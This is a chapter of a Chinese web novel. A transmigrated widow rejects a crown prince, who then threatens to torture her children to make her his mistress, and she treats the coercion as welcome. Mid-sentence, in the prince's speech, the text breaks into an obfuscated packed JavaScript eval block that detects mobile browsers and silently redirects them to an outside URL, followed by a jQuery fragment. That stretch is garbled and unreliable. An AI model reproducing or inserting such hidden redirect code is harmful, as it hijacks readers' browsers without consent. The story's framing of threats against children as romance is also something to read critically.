谢启宸真的要疯了。
本来一切都在稳步进行。在他刻意的接近下,他能感觉到孟夏对他的态度软化不少;他还特意讨好那两个小崽子,虽然女儿不太领情,但儿子玩得可乐呵了,每天都跑过来找他。他有时不在,也会安排好人陪他玩。
想他堂堂当朝太子,如果不是真的上了心,哪至于这样讨好。
结果这母子三个都不是好东西,最近全都冷淡下来,让他狂吃闭门羹,孟夏更是连熊猫都不去看了。
谢启宸又气又委屈,当晚就去爬了孟夏院子的墙。
彼时已经冬月了,干冷风大,孟夏正窝在床上烤火,烤着烤着又觉得闷,便起身去窗边开道缝透透气。
刚支起一点窗,便听到扑通一声响,而后便是一声闷哼。
不会遭贼了吧?孟夏吓了一跳,手抖得棍子都掉了,窗啪的一声合上了。
孟夏哆哆嗦嗦地握了把削水果的刀,小心翼翼地打开了一点门缝,朝发出声音的那边望去,果然有一个黑影!
“进贼了!有贼啊!”她把声音提到最高,住在外院的两个护卫瞬间惊醒,火速赶来。
“别喊,是我,”黑影慌了,他快步走到有光的地方,露出真容,正是谢启宸。
因为天冷,他穿得有些圆,即使因为太紧张从墙上掉下来也没受什么伤,只是走起路来有些瘸。此时那张俊脸羞得通红,头顶都要冒烟了。
整个院子很快热闹起来,护卫、宋云宋风和赵嬷嬷都来了,“夫人,贼人在哪?”“娘/夫人没事吧?”
孟夏站在门前,脸上带着歉意,道:“刚才是我看错了,慌得喊了几声,把你们都吵醒了,真是不好意思。”
“这有什么的,人没事就好。”他们确认无事后,便各自散去。
宋云却还没走,她拉着孟夏的手,杏眼里含着关切,道:“娘亲今晚受惊了,女儿想和娘亲一起睡。”
呜呜呜,闺女可真贴心,她的心都软了。孟夏的声音都夹起来了,“不用了,云儿快回去睡吧,今儿天冷,别把炭盆熄了。”又叮嘱道:“别忘了开点窗通风。”
宋云答应了,依依不舍地回房去了。
孟夏这才转身回房。一进房间,她便看见那个不速之客正局促地坐在椅子上,双手双脚似乎都不知道往哪摆了。
这是孟夏的房间,处处都有她生活的痕迹。她每日在此梳妆、在此歇息,甚至他此时坐的这张椅子可能也是她日日所坐。想到这,他的耳朵越发红润。
孟夏坐到他对面的那张榻上,刚准备问话,便看到他的耳朵红得要滴出血来,手脚都僵住了。
她刚才急着查看情况,只在寝衣外面随意穿了一件厚厚的衣裳,此时房内有些热,她坐下后便下意识拉了拉领口,露出了下面的一片白色寝衣,看得谢启宸鼻头一热。
孟夏顺着谢启宸的眼神看了看,无语了。“有些热,我去换件衣裳,你转过身去。”说罢,她便径直起身了。
谢启宸呆了呆,慌忙转过身去,背对着屏风,清亮的嗓音都有些低哑,“我已经转过去了,夫人放心,我必定不会偷看的。”
其实偷看也看不了什么,毕竟她只是在寝衣外面多穿一件而已,又不是脱衣服。孟夏在心里吐槽,但还是愉悦了些。
听着衣服的摩擦声,谢启宸把头低了又低,但还是挡不住脑中乱想。
孟夏换好衣服重新坐在榻上时,发现他眼神飘忽不敢看她,还特地挪了一下位子,让桌子把自己的腰部以下全部挡住。
真有这么纯情?不会是装的吧?孟·见多识广·夏不太信,直截了当问道:“你怎么爬墙进我的院子?被别人看到,误会了我们的清白怎么办?”
他巴不得被人误会!
谢启宸委屈道:“夫人,你最近怎么不理我?”
孟夏道:“男女有别,我们还是离远些才好。”
“不好,”他一双桃花眼蒙上水光,“夫人,我不信你看不出我对你的心意,我心悦你,你不能这么残忍地将我推开。”
孟夏就是这么残忍,她冷酷无情道:“你也知道我是‘夫人’,我已经嫁过人了,两个孩子都这么大了,我们不合适。”
“不会不合适的,只要你愿意,我会把一切都办妥。”谢启宸急了,身份都不隐藏了,“其实我不是商户,谢是皇姓,我是太子。父皇母后都很宠我。虽然以你的身份,他们肯定不会同意让你做太子妃,但我们可以徐徐图之。”
“我会先让你成为仅次于太子妃的良娣,等我登基后,再借孕育有功将你封为皇后。”谢启宸早将这一切都想好了,“你放心,我只喜欢你,不会娶太子妃的,府里也不会有别的女人。我只想和你在一块。”
……
孟夏的母语是无语。好大一张饼,她上辈子早就吃够了。更别提“孕育有功”四个字狠狠戳中了她的雷点。都有功了,不用说,铁定要生两个以上,在现代都对母体伤害很大,更别提古代了,她现在这具身体腰还时不时发虚呢。
真是的,把她当日本人整呢,她又不傻,怎么可能上赶着找死。本就摇摆的小火花噗的一声被吹灭了,孟夏又封心锁爱了。
“不必了,太子高贵,民妇高攀不起。夜已经深了,太子还是早早离去吧,别玷污了您的清誉。”
谢启宸又委屈又不解,他都告知她太子的身份,也跟她说了自己的谋算了,她怎么反而更加推他于千里之外了?
他是当朝太子啊,身高八尺、玉树临风,年岁又正好,这样的他这样卑微地向她求爱,几乎要将心剖开捧给她,她居然拒绝了!
他又怨又恨,连夫人都不叫了,“孟夏,你究竟有没有心!”
他忽然又笑了,咬牙切齿,“我忘了,你有心的,你爱那个短命鬼,爱到想要殉情。什么不合适,什么高攀不起,你就是念着那个短命的贱人,就是想一辈子守着他的牌位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341348|199344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
孟夏想了一下,才意识到他说的是原主的丈夫,叫宋什么来着?虽然有点忘了,但不妨碍她演技大爆发。
她神情恍惚,眉眼间笼罩着淡淡的哀愁,长睫眨动间,一滴清泪滚落,“殿下既然知道,便该明白,民妇不会再嫁的。”
谢启宸恨得要死,眼睛都发红了,孟夏生怕他上演红眼掐腰文学,幸好没有。他只是重重地捶向桌子,好像下一秒就要哭出来了。
但他也没有哭,他努力勾起嘴角,发狠道:“别忘了,孤是太子。只要孤想要,没有什么是孤得不到的。你既然不愿做孤的妻子,就做孤的外室吧。”
见孟夏面露抗拒,他又道:“你若是不听话,孤就让人去折磨那两个小崽子,让他们惨叫连连!”
见孟夏目光呆愣,似乎是吓到了,他哄道:“你若是听话,这些自然不会发生,你想要什么孤都会给你弄来,乖。”
孟夏当然不是被吓到了,她只是有点震惊,这就是传说中的强取豪夺吗?咪的天,她居然被人强取豪夺了?
谢启宸继续自顾自说道:“明天你让人收拾好东西,搬到东城的宅子去。”天知道他从东宫赶到这边有多累,要不是想着见她,他才不吃这种苦。
“云儿和风儿怎么办?”
“当然是一起搬过去,”有了小崽子在手,还怕当娘的不听话吗?
怕看到她的眼泪,谢启宸硬下心肠冷哼一声,一瘸一拐地爬墙走了。
当天晚上,孟夏失眠了。
她戳了戳系统,“系统,我被强取豪夺了诶!”
系统:……“叮!检测到宿主并无生命危险。”
她有点担心,“我这么貌美如花,他要是强迫我怎么办?”虽然他看起来没这个胆子,但万一呢?万一他狂性大发呢?
她又嘀嘀咕咕道:“虽然他长得很帅,睡了也不吃亏,但我怕染病啊!而且要是怀孕了咋?我真的不要生孩子啊!”
“叮!检测到谢启宸依旧是处,且身体健康呢。此外,亲,你是不是没有看《宿主守则》?宿主是不会在任务世界留下孩子的,所以随便你怎么浪呢。”
“我劁!你不早说!谁会看那鬼东西啊!”孟夏狂翻跟《新华字典》一样厚的《宿主守则》,发现第154页的第7行赫然写道:“为了避免宿主与小世界联结过深,会在每个小世界之初自动去除宿主的生育功能,避免后顾之忧。”
孟夏目瞪口呆,所以一开始她就被阉了?这可真是……太好了!
她决定躺平享受这场强取豪夺了,让暴风雨来得更猛烈些吧!
这天晚上,她还是失眠了,翻来覆去,一会想着系统居然还有这种功能,居然不早说!一会想着没想到谢启宸居然还是第一次,这可太棒了!那她玩玩也不吃亏啊。后面的事后面再说吧,不玩白不玩。
更何况她都已经拒绝过了,是他自己送上门强行让她玩的。嘿嘿,美滋滋。